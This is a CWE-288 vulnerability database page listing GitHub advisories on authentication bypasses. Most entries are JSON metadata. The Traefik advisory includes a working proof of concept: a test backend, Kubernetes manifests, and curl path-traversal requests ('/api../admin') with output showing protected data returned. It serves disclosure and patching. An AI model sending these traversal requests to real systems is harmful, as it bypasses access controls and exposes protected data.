Common Weakness Enumeration
CWE-288
AllowedAuthentication Bypass Using an Alternate Path or Channel
Abstraction: Base · Status: Incomplete
The product requires authentication, but the product has an alternate path or channel that does not require authentication.
1183 vulnerabilities reference this CWE, most recent first.
GHSA-8PRX-VW4F-9Q7P
Vulnerability from github – Published: 2023-05-19 03:30 – Updated: 2024-04-04 04:14
VLAI
Details
The BP Social Connect plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 1.5. This is due to insufficient verification on the user being supplied during a Facebook login through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the email.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2023-2704"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-19T03:15:08Z",
"severity": "CRITICAL"
},
"details": "The BP Social Connect plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 1.5. This is due to insufficient verification on the user being supplied during a Facebook login through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the email.",
"id": "GHSA-8prx-vw4f-9q7p",
"modified": "2024-04-04T04:14:57Z",
"published": "2023-05-19T03:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2704"
},
{
"type": "WEB",
"url": "https://lana.codes/lanavdb/1bd0dfd9-ffec-4d69-bc55-286751300cab"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bp-social-connect/tags/1.5/includes/social/facebook/class.facebook.php#L138"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bp-social-connect/tags/1.5/includes/social/facebook/class.facebook.php#L188"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=2914042%40bp-social-connect%2Ftrunk\u0026old=1904372%40bp-social-connect%2Ftrunk\u0026sfp_email=\u0026sfph_mail=#file6"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/44c96df2-530a-4ebe-b722-c606a7b135f9?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8PWM-PJG9-4H92
Vulnerability from github – Published: 2026-08-01 15:30 – Updated: 2026-08-01 15:30
VLAI
Details
better-auth versions before 1.4.9 contain a two-factor authentication bypass vulnerability when session.cookieCache is enabled. Attackers with valid primary credentials can access authenticated routes without completing second-factor verification by exploiting premature session caching.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-67337"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-01T13:17:04Z",
"severity": "HIGH"
},
"details": "better-auth versions before 1.4.9 contain a two-factor authentication bypass vulnerability when session.cookieCache is enabled. Attackers with valid primary credentials can access authenticated routes without completing second-factor verification by exploiting premature session caching.",
"id": "GHSA-8pwm-pjg9-4h92",
"modified": "2026-08-01T15:30:29Z",
"published": "2026-08-01T15:30:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-xg6x-h9c9-2m83"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67337"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/better-auth-before-two-factor-authentication-bypass-via-session-cookiecache"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8PXV-CHRC-9C6J
Vulnerability from github – Published: 2026-05-20 06:31 – Updated: 2026-05-20 06:31
VLAI
Details
NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause an authentication bypass. A successful exploit of this vulnerability might lead to escalation of privileges, denial of service, or information disclosure.
Severity
7.3 (High)
{
"affected": [],
"aliases": [
"CVE-2026-24206"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-20T04:16:45Z",
"severity": "HIGH"
},
"details": "NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause an authentication bypass. A successful exploit of this vulnerability might lead to escalation of privileges, denial of service, or information disclosure.",
"id": "GHSA-8pxv-chrc-9c6j",
"modified": "2026-05-20T06:31:52Z",
"published": "2026-05-20T06:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24206"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5828"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24206"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8Q8M-RVGF-6QVC
Vulnerability from github – Published: 2026-04-02 09:30 – Updated: 2026-04-16 21:31
VLAI
Details
SEPPmail Secure Email Gateway before version 15.0.3 allows account takeover by abusing GINA account initialization to reset a victim account password.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2026-29139"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-02T09:16:22Z",
"severity": "HIGH"
},
"details": "SEPPmail Secure Email Gateway before version 15.0.3 allows account takeover by abusing GINA account initialization to reset a victim account password.",
"id": "GHSA-8q8m-rvgf-6qvc",
"modified": "2026-04-16T21:31:10Z",
"published": "2026-04-02T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29139"
},
{
"type": "WEB",
"url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#seppmail-vulnerability-disclosure-1503"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8QWF-P858-GVG4
Vulnerability from github – Published: 2024-04-08 15:30 – Updated: 2024-08-01 15:31
VLAI
Details
TOTOLINK EX200 V4.0.3c.7646_B20201211 allows attackers to bypass login through the Form_Login function.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2024-31814"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-08T13:15:08Z",
"severity": "HIGH"
},
"details": "TOTOLINK EX200 V4.0.3c.7646_B20201211 allows attackers to bypass login through the Form_Login function.",
"id": "GHSA-8qwf-p858-gvg4",
"modified": "2024-08-01T15:31:37Z",
"published": "2024-04-08T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31814"
},
{
"type": "WEB",
"url": "https://github.com/4hsien/CVE-vulns/blob/main/TOTOLINK/EX200/Login_Bypass/bypass.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8R96-X95V-Q4MH
Vulnerability from github – Published: 2026-01-08 12:30 – Updated: 2026-01-20 15:33
VLAI
Details
Authentication Bypass Using an Alternate Path or Channel vulnerability in RiceTheme Felan Framework felan-framework allows Authentication Abuse.This issue affects Felan Framework: from n/a through <= 1.1.3.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2025-23504"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-08T10:15:48Z",
"severity": "CRITICAL"
},
"details": "Authentication Bypass Using an Alternate Path or Channel vulnerability in RiceTheme Felan Framework felan-framework allows Authentication Abuse.This issue affects Felan Framework: from n/a through \u003c= 1.1.3.",
"id": "GHSA-8r96-x95v-q4mh",
"modified": "2026-01-20T15:33:08Z",
"published": "2026-01-08T12:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23504"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/felan-framework/vulnerability/wordpress-felan-framework-plugin-1-1-3-account-takeover-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/felan-framework/vulnerability/wordpress-felan-framework-plugin-1-1-3-account-takeover-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8RH3-RVV2-3MR4
Vulnerability from github – Published: 2026-02-17 21:31 – Updated: 2026-02-17 21:31
VLAI
Details
A vulnerability in the management API of the affected product could allow an unauthenticated remote attacker to trigger service restarts. Successful exploitation could allow an attacker to disrupt services and negatively impact system availability.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-23596"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-17T21:22:15Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the management API of the affected product could allow an unauthenticated remote attacker to trigger service restarts. Successful exploitation could allow an attacker to disrupt services and negatively impact system availability.",
"id": "GHSA-8rh3-rvv2-3mr4",
"modified": "2026-02-17T21:31:15Z",
"published": "2026-02-17T21:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23596"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05002en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8RQQ-PQ2C-29Q4
Vulnerability from github – Published: 2024-08-12 15:30 – Updated: 2026-06-03 15:30
VLAI
Details
Authentication Bypass Using an Alternate Path or Channel vulnerability in GST Electronics inohom Nova Panel N7 allows Authentication Bypass.This issue affects inohom Nova Panel N7: through 1.9.9.6. NOTE: The vendor was contacted and it was learned that the product is not supported.
Severity
{
"affected": [],
"aliases": [
"CVE-2024-6684"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-12T13:38:39Z",
"severity": "CRITICAL"
},
"details": "Authentication Bypass Using an Alternate Path or Channel vulnerability in GST Electronics inohom Nova Panel N7 allows Authentication Bypass.This issue affects inohom Nova Panel N7: through 1.9.9.6.\u00a0NOTE: The vendor was contacted and it was learned that the product is not supported.",
"id": "GHSA-8rqq-pq2c-29q4",
"modified": "2026-06-03T15:30:33Z",
"published": "2024-08-12T15:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6684"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-1194"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-24-1194"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:X/RE:X/U:Red",
"type": "CVSS_V4"
}
]
}
GHSA-8RXV-JG7P-WVG3
Vulnerability from github – Published: 2026-08-06 16:45 – Updated: 2026-08-06 16:45
VLAI
Summary
Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass
Details
Summary
There is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. When an Ingress uses the nginx.ingress.kubernetes.io/rewrite-target annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path /api(.*) with rewrite target /$1), the generated RewriteTarget middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.8
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ## Summary Traefik's Kubernetes Ingress NGINX provider creates an internal `RewriteTarget` middleware for the `nginx.ingress.kubernetes.io/rewrite-target` annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router. For example, with Ingress path `/api(.*)` and rewrite target `/$1`, an unauthenticated request to `/api../admin` follows this flow: 1. The default entry-point path sanitizer leaves `/api../admin` unchanged because `api..` is one ordinary segment. 2. The public router's `PathRegexp("(?i)^/api(.*)")` rule matches. 3. `RewriteTarget` captures `../admin` and creates `/../admin`. 4. The middleware forwards `/../admin` without checking whether path normalization changes it. 5. A backend that normalizes paths resolves `/../admin` to `/admin`. 6. The request reaches content intended to be reachable only through a separate `/admin` router with BasicAuth, DigestAuth, or ForwardAuth. This is an unpatched sibling of [GHSA-cxjq-mrr5-89rv](https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv), which added post-replacement normalization validation to `ReplacePathRegex`. The separate ingress-nginx `RewriteTarget` implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release. ## Severity **Proposed severity:** Critical **CVSS 3.1:** 9.1 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` - Attack vector: Network - Attack complexity: Low once the affected routing pattern exists - Privileges required: None - User interaction: None - Scope: Unchanged - Confidentiality: High - Integrity: High - Availability: None **Primary weakness:** CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) **Secondary weakness:** CWE-288 — Authentication Bypass Using an Alternate Path or Channel The practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower. ### Exploitation Preconditions - The Kubernetes Ingress NGINX provider is enabled. - A public Ingress uses `rewrite-target` with a regex that can capture `..` adjacent to the matched prefix, such as `/api(.*)` with `/$1`. - A protected router exposes another path on the same backend, such as `/admin`, and relies on a Traefik authentication or authorization middleware. - The backend normalizes dot segments before dispatching the request. These are deployment prerequisites; the remote attacker needs no credentials or special timing. ## Affected Components ### Confirmed versions - Traefik v3.7.0 through v3.7.7 - Current `master` at commit `b93f02cd07b79490fb8c8f02e301a7a1ec553195` - Current `v3.7` branch at `69259c3acc9d4bdc065cb2e3b83336f7de3e7038` The vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx `RewriteTarget` implementation. ### Code locations - `pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274` - Converts the Ingress path and `rewrite-target` annotation directly into `dynamic.RewriteTarget` configuration. - `pkg/middlewares/ingressnginx/rewritetarget/rewrite_target.go:85-157` - Performs capture-based path rewriting and forwards the rewritten path without normalization validation. - `pkg/server/middleware/middlewares.go:346-353` - Instantiates the vulnerable middleware in the live HTTP chain. ## Root Cause The provider passes the route regex and annotation replacement into the middleware:loc.RewriteTarget = &dynamic.RewriteTarget{
Regex: loc.Path,
Replacement: rewrite,
}
newTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)
req.URL.RawPath = newTarget
req.URL.Path, err = url.PathUnescape(req.URL.RawPath)
req.RequestURI = req.URL.RequestURI()
rt.next.ServeHTTP(rw, req)
const http = require("http");
const path = require("path");
http.createServer((req, res) => {
const rawPath = req.url.split("?", 1)[0];
const normalizedPath = path.posix.normalize(rawPath);
const protectedPath = normalizedPath === "/admin" || normalizedPath.startsWith("/admin/");
const body = JSON.stringify({
rawPath,
normalizedPath,
result: protectedPath ? "ADMIN_SECRET_DATA" : "PUBLIC",
});
res.writeHead(200, { "Content-Type": "application/json" });
res.end(body);
}).listen(19090, "127.0.0.1");
node backend.js
apiVersion: v1
kind: Secret
metadata:
name: basic-auth
namespace: default
type: Opaque
stringData:
auth: |
admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/
---
apiVersion: v1
kind: Service
metadata:
name: backend
namespace: default
spec:
type: ExternalName
externalName: localhost
ports:
- name: http
port: 19090
targetPort: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: public-api
namespace: default
annotations:
kubernetes.io/ingress.class: nginx
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: "/$1"
spec:
rules:
- http:
paths:
- path: /api(.*)
pathType: ImplementationSpecific
backend:
service:
name: backend
port:
number: 19090
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: protected-admin
namespace: default
annotations:
kubernetes.io/ingress.class: nginx
nginx.ingress.kubernetes.io/auth-type: basic
nginx.ingress.kubernetes.io/auth-secret: basic-auth
nginx.ingress.kubernetes.io/auth-realm: Authentication Required
spec:
rules:
- http:
paths:
- path: /admin
pathType: Prefix
backend:
service:
name: backend
port:
number: 19090
kubectl apply -f poc.yaml
KUBECONFIG="$HOME/.kube/config" ./traefik \
--entryPoints.web.address=127.0.0.1:18080 \
--providers.kubernetesIngressNginx.watchNamespace=default \
--providers.kubernetesIngressNginx.httpEntryPoint=web \
--global.checkNewVersion=false \
--log.level=DEBUG
{
"rule": "PathRegexp(\"(?i)^/api(.*)\")",
"middlewares": ["...-rewrite-target"],
"rewriteTarget": {
"regex": "/api(.*)",
"replacement": "/$1"
}
}
curl --path-as-is -i http://127.0.0.1:18080/admin
HTTP/1.1 401 Unauthorized
curl --path-as-is -i http://127.0.0.1:18080/api../admin
HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin
HTTP/1.1 200 OK
{"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMIN_SECRET_DATA"}
path := req.URL.Path
if path != "" {
req.URL = req.URL.JoinPath()
}
if path != req.URL.Path {
logger.Debug().Msgf(
"Rejecting request, normalized path %q differs from rewritten path %q",
req.URL.Path,
path,
)
http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
return
}
req.RequestURI = req.URL.RequestURI()
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: "/$2"
# Ingress path:
path: /api(/|$)(.*)
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.7.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67309"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-288"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T16:45:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s Kubernetes Ingress NGINX provider. When an Ingress uses the `nginx.ingress.kubernetes.io/rewrite-target` annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path `/api(.*)` with rewrite target `/$1`), the generated `RewriteTarget` middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.8\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes Ingress NGINX provider creates an internal `RewriteTarget` middleware for the `nginx.ingress.kubernetes.io/rewrite-target` annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router.\n\nFor example, with Ingress path `/api(.*)` and rewrite target `/$1`, an unauthenticated request to `/api../admin` follows this flow:\n\n1. The default entry-point path sanitizer leaves `/api../admin` unchanged because `api..` is one ordinary segment.\n2. The public router\u0027s `PathRegexp(\"(?i)^/api(.*)\")` rule matches.\n3. `RewriteTarget` captures `../admin` and creates `/../admin`.\n4. The middleware forwards `/../admin` without checking whether path normalization changes it.\n5. A backend that normalizes paths resolves `/../admin` to `/admin`.\n6. The request reaches content intended to be reachable only through a separate `/admin` router with BasicAuth, DigestAuth, or ForwardAuth.\n\nThis is an unpatched sibling of [GHSA-cxjq-mrr5-89rv](https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv), which added post-replacement normalization validation to `ReplacePathRegex`. The separate ingress-nginx `RewriteTarget` implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release.\n\n## Severity\n\n**Proposed severity:** Critical\n\n**CVSS 3.1:** 9.1 \u2014 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n- Attack vector: Network\n- Attack complexity: Low once the affected routing pattern exists\n- Privileges required: None\n- User interaction: None\n- Scope: Unchanged\n- Confidentiality: High\n- Integrity: High\n- Availability: None\n\n**Primary weakness:** CWE-22 \u2014 Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n**Secondary weakness:** CWE-288 \u2014 Authentication Bypass Using an Alternate Path or Channel\n\nThe practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower.\n\n### Exploitation Preconditions\n\n- The Kubernetes Ingress NGINX provider is enabled.\n- A public Ingress uses `rewrite-target` with a regex that can capture `..` adjacent to the matched prefix, such as `/api(.*)` with `/$1`.\n- A protected router exposes another path on the same backend, such as `/admin`, and relies on a Traefik authentication or authorization middleware.\n- The backend normalizes dot segments before dispatching the request.\n\nThese are deployment prerequisites; the remote attacker needs no credentials or special timing.\n\n## Affected Components\n\n### Confirmed versions\n\n- Traefik v3.7.0 through v3.7.7\n- Current `master` at commit `b93f02cd07b79490fb8c8f02e301a7a1ec553195`\n- Current `v3.7` branch at `69259c3acc9d4bdc065cb2e3b83336f7de3e7038`\n\nThe vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx `RewriteTarget` implementation.\n\n### Code locations\n\n- `pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274`\n - Converts the Ingress path and `rewrite-target` annotation directly into `dynamic.RewriteTarget` configuration.\n- `pkg/middlewares/ingressnginx/rewritetarget/rewrite_target.go:85-157`\n - Performs capture-based path rewriting and forwards the rewritten path without normalization validation.\n- `pkg/server/middleware/middlewares.go:346-353`\n - Instantiates the vulnerable middleware in the live HTTP chain.\n\n## Root Cause\n\nThe provider passes the route regex and annotation replacement into the middleware:\n\n```go\nloc.RewriteTarget = \u0026dynamic.RewriteTarget{\n Regex: loc.Path,\n Replacement: rewrite,\n}\n```\n\n`RewriteTarget.ServeHTTP` then derives a path from attacker-controlled capture groups:\n\n```go\nnewTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)\n\nreq.URL.RawPath = newTarget\nreq.URL.Path, err = url.PathUnescape(req.URL.RawPath)\nreq.RequestURI = req.URL.RequestURI()\n\nrt.next.ServeHTTP(rw, req)\n```\n\nThere is no invariant check between `PathUnescape` and forwarding to ensure that `req.URL.Path` equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered.\n\nThe core `ReplacePathRegex` middleware now enforces this invariant by calling `req.URL.JoinPath()` and returning HTTP 400 when normalization changes the replacement. `RewriteTarget` implements equivalent capture-based behavior but lacks that check.\n\nDefault `entryPoints.\u003cname\u003e.http.sanitizePath=true` does not prevent this issue. Sanitization occurs before routing and before `RewriteTarget` creates the traversal sequence.\n\n## Impact\n\nAn unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow:\n\n- reading administrative or sensitive data;\n- invoking privileged state-changing endpoints with GET, POST, PUT, PATCH, or DELETE;\n- bypassing BasicAuth, DigestAuth, ForwardAuth, IP restrictions, or other controls attached only to the protected router;\n- crossing intended public/protected path boundaries with one HTTP request.\n\nThe middleware is method-agnostic, so the issue is not limited to read-only requests.\n\n## Proof of Concept\n\n### Validation Environment\n\n- Traefik v3.7.7 official Linux amd64 release\n- Release archive SHA-256 verified as `5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261ba`\n- Default `sanitizePath=true`\n- Node.js v24 backend\n- Kubernetes Ingress NGINX provider fed valid Ingress, Service, EndpointSlice, and Secret objects through a local Kubernetes API fixture\n\nNo Traefik source files were modified.\n\n### 1. Create the normalizing backend\n\nSave as `backend.js`:\n\n```javascript\nconst http = require(\"http\");\nconst path = require(\"path\");\n\nhttp.createServer((req, res) =\u003e {\n const rawPath = req.url.split(\"?\", 1)[0];\n const normalizedPath = path.posix.normalize(rawPath);\n const protectedPath = normalizedPath === \"/admin\" || normalizedPath.startsWith(\"/admin/\");\n\n const body = JSON.stringify({\n rawPath,\n normalizedPath,\n result: protectedPath ? \"ADMIN_SECRET_DATA\" : \"PUBLIC\",\n });\n\n res.writeHead(200, { \"Content-Type\": \"application/json\" });\n res.end(body);\n}).listen(19090, \"127.0.0.1\");\n```\n\nRun it:\n\n```bash\nnode backend.js\n```\n\n### 2. Apply the Kubernetes objects\n\nThe `ExternalName` service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n name: basic-auth\n namespace: default\ntype: Opaque\nstringData:\n auth: |\n admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\n---\napiVersion: v1\nkind: Service\nmetadata:\n name: backend\n namespace: default\nspec:\n type: ExternalName\n externalName: localhost\n ports:\n - name: http\n port: 19090\n targetPort: 19090\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n name: public-api\n namespace: default\n annotations:\n kubernetes.io/ingress.class: nginx\n nginx.ingress.kubernetes.io/use-regex: \"true\"\n nginx.ingress.kubernetes.io/rewrite-target: \"/$1\"\nspec:\n rules:\n - http:\n paths:\n - path: /api(.*)\n pathType: ImplementationSpecific\n backend:\n service:\n name: backend\n port:\n number: 19090\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n name: protected-admin\n namespace: default\n annotations:\n kubernetes.io/ingress.class: nginx\n nginx.ingress.kubernetes.io/auth-type: basic\n nginx.ingress.kubernetes.io/auth-secret: basic-auth\n nginx.ingress.kubernetes.io/auth-realm: Authentication Required\nspec:\n rules:\n - http:\n paths:\n - path: /admin\n pathType: Prefix\n backend:\n service:\n name: backend\n port:\n number: 19090\n```\n\n```bash\nkubectl apply -f poc.yaml\n```\n\n### 3. Run unmodified Traefik v3.7.7\n\n```bash\nKUBECONFIG=\"$HOME/.kube/config\" ./traefik \\\n --entryPoints.web.address=127.0.0.1:18080 \\\n --providers.kubernetesIngressNginx.watchNamespace=default \\\n --providers.kubernetesIngressNginx.httpEntryPoint=web \\\n --global.checkNewVersion=false \\\n --log.level=DEBUG\n```\n\nTraefik generates the following relevant dynamic configuration:\n\n```json\n{\n \"rule\": \"PathRegexp(\\\"(?i)^/api(.*)\\\")\",\n \"middlewares\": [\"...-rewrite-target\"],\n \"rewriteTarget\": {\n \"regex\": \"/api(.*)\",\n \"replacement\": \"/$1\"\n }\n}\n```\n\nThe protected router separately contains a BasicAuth middleware and a `PathRegexp(\"(?i)^/admin\")` rule.\n\n### 4. Confirm authentication is enforced\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 401 Unauthorized\n```\n\n### 5. Exploit the traversal rewrite\n\nPlain variant:\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/api../admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 200 OK\n{\"rawPath\":\"/../admin\",\"normalizedPath\":\"/admin\",\"result\":\"ADMIN_SECRET_DATA\"}\n```\n\nPercent-encoded variant:\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 200 OK\n{\"rawPath\":\"/../admin\",\"normalizedPath\":\"/admin\",\"result\":\"ADMIN_SECRET_DATA\"}\n```\n\nThe direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200.\n\n## Remediation\n\nApply the same post-rewrite normalization invariant used by the patched `ReplacePathRegex` middleware. After decoding `RawPath`, normalize a copy and reject the request if normalization changes `Path`:\n\n```go\npath := req.URL.Path\nif path != \"\" {\n req.URL = 